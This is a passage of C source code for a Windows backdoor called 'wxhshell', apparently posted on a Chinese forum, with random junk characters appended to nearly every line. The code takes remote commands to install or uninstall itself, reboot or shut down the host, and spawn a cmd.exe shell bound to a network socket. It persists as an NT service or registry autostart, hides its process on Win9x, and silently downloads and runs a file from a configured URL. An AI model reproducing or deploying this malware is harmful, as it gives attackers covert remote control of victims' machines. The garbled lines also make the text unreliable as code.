      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <%qbU-  
    break; 9#O"^.Z !  
  } "%,zB_ng\<  
  // 安装 b:Rl }"a  
  case 'i': { m[ifcDZ(e  
    if(Install()) ;,Lq*x2s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s8 .oS);`  
    else YHvmo@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !6f#OAP\  
    break; sAnStS=>  
    } B:^5W{  
  // 卸载 {BJ[h  
  case 'r': { dRWp/3 }  
    if(Uninstall()) $sGX%u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?y ]3kU  
    else *!C^L"i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vi5RkUY]  
    break; 8$?a?7,>|  
    } "=P@x|I  
  // 显示 wxhshell 所在路径 N{|N_}X`Y  
  case 'p': { He"> kJx  
    char svExeFile[MAX_PATH]; }I05&/o.3p  
    strcpy(svExeFile,"\n\r"); pOnZ7(  
      strcat(svExeFile,ExeFile); >jN)9}3>-#  
        send(wsh,svExeFile,strlen(svExeFile),0); +]5JXt^  
    break; )Je iTh^  
    } M ;\K+,  
  // 重启 *Z)`:Gae  
  case 'b': { _F,@mQ$!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7F)HAbIS  
    if(Boot(REBOOT)) h %MPppCEa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?>4^e:  
    else { .$99/2[90  
    closesocket(wsh); uh:  
    ExitThread(0); s7a\L=#p(  
    } DX4 95<6*  
    break; = 1`  
    } k9yA#  
  // 关机 <Ni]\-*  
  case 'd': { }{j[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 47ir QK*  
    if(Boot(SHUTDOWN)) eR8h4M~O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MFE~bU(h  
    else { )7c^@I;7  
    closesocket(wsh); 6M612   
    ExitThread(0); N-_2d*l3  
    } ymr-kB  
    break; XK(<N<Z@|e  
    } ew }C*4qH  
  // 获取shell }1X,~y]  
  case 's': { A g/z\kX  
    CmdShell(wsh); 9FJU'$FN  
    closesocket(wsh);  '=%vf  
    ExitThread(0); $Iqt c)DA  
    break; T][\wyLx1  
  } Q\ro )r  
  // 退出 33"{"2==`  
  case 'x': { ;rd!kFd#bq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qI5/ME(}  
    CloseIt(wsh); -!wm]kx f  
    break; { #>@h7  
    } lt}|Y9h  
  // 离开 G ^r^" j  
  case 'q': { Z{u*vUC&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VpTp*[8O  
    closesocket(wsh); ]J_Dn\  
    WSACleanup(); 2E=E!Zwt_  
    exit(1); < 8WS YZ  
    break; lEQn2+  
        } @}aK\  
  } $n(@hT>?  
  } S\g8(\u  
) 1H]a'j  
  // 提示信息 Q:=s99  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u) fbR  
}  BX+-KvT  
  } F4">go  
Z1^S;#v  
  return; ?A,gDk/#  
} 8.]dThaq  
9dy"Y~c  
// shell模块句柄 }b6ja y  
int CmdShell(SOCKET sock) aViJ?*  
{ h1JG^w$ 5  
STARTUPINFO si; @36^4E>h  
ZeroMemory(&si,sizeof(si)); '<4OA!,^)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O{SU,"!y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1 *;?uC\  
PROCESS_INFORMATION ProcessInfo; ^N0hc!$  
char cmdline[]="cmd"; WpSdukXY{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZaXK=%z  
  return 0; =2->1<!x6<  
} >/$Q:92T  
ZN G.W0{p  
// 自身启动模式 |Q.?<T:wt=  
int StartFromService(void) /$I&D}uR`  
{ _%Mu{Ni&  
typedef struct %)\Cwl   
{ }Ct_i'Ow  
  DWORD ExitStatus; p5G O@^i  
  DWORD PebBaseAddress; 4?72TBl]  
  DWORD AffinityMask; fN8A'p[  
  DWORD BasePriority; .^P^lQT]>  
  ULONG UniqueProcessId; m!E36ce}  
  ULONG InheritedFromUniqueProcessId; #r:J,D6*  
}   PROCESS_BASIC_INFORMATION; (VwS 9:`  
/EKfL\3  
PROCNTQSIP NtQueryInformationProcess; Dzc 4J66  
LdVGFlcXi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r")=Z1y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VaSw}q/o:/  
o"QpV >x  
  HANDLE             hProcess; j!m~ :D  
  PROCESS_BASIC_INFORMATION pbi; wF3mQ_hv:@  
v%86JUlK.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +z("'Cv  
  if(NULL == hInst ) return 0; P,D >gxl  
*w> /vu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5\EHu8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'HW(RC0dR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e`#Gq0}8  
nV"[WngN  
  if (!NtQueryInformationProcess) return 0; 5 BcuLRId:  
fIWQ+E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p*NC nD*  
  if(!hProcess) return 0; *.voN[$~  
q`9~F4\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -+Quw2465^  
`C_#EU-  
  CloseHandle(hProcess); 98o;_tU'  
G?>~w[#mQR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }wj*^>*  
if(hProcess==NULL) return 0; )k29mqa`  
kD MS7y<s  
HMODULE hMod; ( 9dV%#G\  
char procName[255]; v`x~O+  
unsigned long cbNeeded; ^/Gjk  
Mk,8v],-Tj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kDO6:sjR7  
fbo64$!hZ  
  CloseHandle(hProcess); C'7W50b  
:qgdn,Me  
if(strstr(procName,"services")) return 1; // 以服务启动 6TPcG dZ  
?R"5 .3  
  return 0; // 注册表启动 ,<pql!B-  
}  Q+dBSKSK  
bs%]xf ~D;  
// 主模块 U|U/B  
int StartWxhshell(LPSTR lpCmdLine) ): Q5u6  
{ .9 nsW?  
  SOCKET wsl; xH3SVn(I  
BOOL val=TRUE;  jCKRoao  
  int port=0; v`beql  
  struct sockaddr_in door; gY*Cl1 Iz  
Ra~n:$tg2  
  if(wscfg.ws_autoins) Install(); ]2b" oHg  
kFD-  
port=atoi(lpCmdLine); SL@Vk(  
fVR ~PG0  
if(port<=0) port=wscfg.ws_port; hTVN`9h7  
>SfC '*1  
  WSADATA data; j] M)i:n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z13"S(5D~  
s/P\w"/fN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rYm<U!k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !4.;Ftgjn  
  door.sin_family = AF_INET; )m5<gp`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y<3v/ ,Y  
  door.sin_port = htons(port); Ie4*#N_  
iP' }eQn]c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vbwEX6  
closesocket(wsl); hw~cS7  
return 1; U@Aq@d+n  
} +zL=UEBN  
X<-]./  
  if(listen(wsl,2) == INVALID_SOCKET) { H,3$TNX y  
closesocket(wsl); DgOoEHy[  
return 1; ~Ycz(h'(  
} F<IqKgGzH  
  Wxhshell(wsl); ]V.9jlXF  
  WSACleanup(); m{+lG*  
ax7 M  
return 0; Z.<1,EKi=  
z^B!-FcIz>  
} TvI}yaCu/x  
)](8 {}wo  
// 以NT服务方式启动 O@E&lP6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i1aS2gFi_  
{ bIWcL$}4Q  
DWORD   status = 0; 7Dm^49H  
  DWORD   specificError = 0xfffffff; 8yztVdh  
8hAI l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZMx_J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L/<Up   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ch : 428  
  serviceStatus.dwWin32ExitCode     = 0; <;U"D.'  
  serviceStatus.dwServiceSpecificExitCode = 0; XTZWbhNF  
  serviceStatus.dwCheckPoint       = 0; - *yj[?6  
  serviceStatus.dwWaitHint       = 0; Iun!r v  
ap;UxWqx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mT-5Ok&TUe  
  if (hServiceStatusHandle==0) return; 8^< -;  
RJtSHiM2  
status = GetLastError(); 6;(Slkv  
  if (status!=NO_ERROR) \DGm[/P  
{ vv%Di.V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; deu+ i  
    serviceStatus.dwCheckPoint       = 0; ~{d94o.  
    serviceStatus.dwWaitHint       = 0; \19XDqf8  
    serviceStatus.dwWin32ExitCode     = status; nMVThN*I g  
    serviceStatus.dwServiceSpecificExitCode = specificError; DB>>U>H-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n,Ux>L  
    return; * ?KQ\ Y  
  } t.knYO)  
[$H8?J   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SB  \ptF  
  serviceStatus.dwCheckPoint       = 0; /9GqEQsfM  
  serviceStatus.dwWaitHint       = 0; +m>Kb edl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NPS=?5p>  
} \nxt\KD  
<T0-m?D_$  
// 处理NT服务事件,比如:启动、停止 R^8Opf_UN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) < W&~tVv  
{ ^OA}#k NTW  
switch(fdwControl) *xLMs(gg  
{ zlFl{t  
case SERVICE_CONTROL_STOP: Bq:@ [pCQ  
  serviceStatus.dwWin32ExitCode = 0; OWq~BZ{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 53(m9YLk  
  serviceStatus.dwCheckPoint   = 0; w;#9 hW&  
  serviceStatus.dwWaitHint     = 0; \LM'KD pP_  
  { 4>5%SzZT\3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jj$'DZk  
  } x$s#';*  
  return; _=}Y lR  
case SERVICE_CONTROL_PAUSE: H56e#:[$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qw_qGgbl  
  break; %8 4<@f&n]  
case SERVICE_CONTROL_CONTINUE: Tmw :w~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .s2d  
  break;  ^5 ;Y  
case SERVICE_CONTROL_INTERROGATE: u\t ;  
  break; eY&UFe  
}; ~:+g+Mf~[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E+7S:B  
} /H3,v8J@  
93'%aSDI%  
// 标准应用程序主函数 h+*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q&F@[k  
{ ~i  &K,  
XriVHb  
// 获取操作系统版本 ,:L}S03k  
OsIsNt=GetOsVer(); p.l]% \QI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !J:DBtGT  
crhck'?0  
  // 从命令行安装 r_2  
  if(strpbrk(lpCmdLine,"iI")) Install(); \XB71DUF  
FG8bP  
  // 下载执行文件 Bj]0Cz  
if(wscfg.ws_downexe) { o[cKh7&+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -rH3rKtf~  
  WinExec(wscfg.ws_filenam,SW_HIDE); p>!r[v'  
} a .] !  
aa".d[*1  
if(!OsIsNt) { U7ajDw  
// 如果时win9x,隐藏进程并且设置为注册表启动 B8TI 5mZ4  
HideProc(); -Xd/-,zPY  
StartWxhshell(lpCmdLine); qc`_&!*D  
} kYR&t}jlCg  
else j+c)%  
  if(StartFromService()) %b!p{p  
  // 以服务方式启动  F_I! +  
  StartServiceCtrlDispatcher(DispatchTable); ?29 KvT;#]  
else (p2\H>pTr  
  // 普通方式启动 ?>AhC{  
  StartWxhshell(lpCmdLine); K=B[MT#V{2  
6,c,i;J_  
return 0; v-Br)lLv  
}
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只看该作者 1 发表于: 2006-10-10
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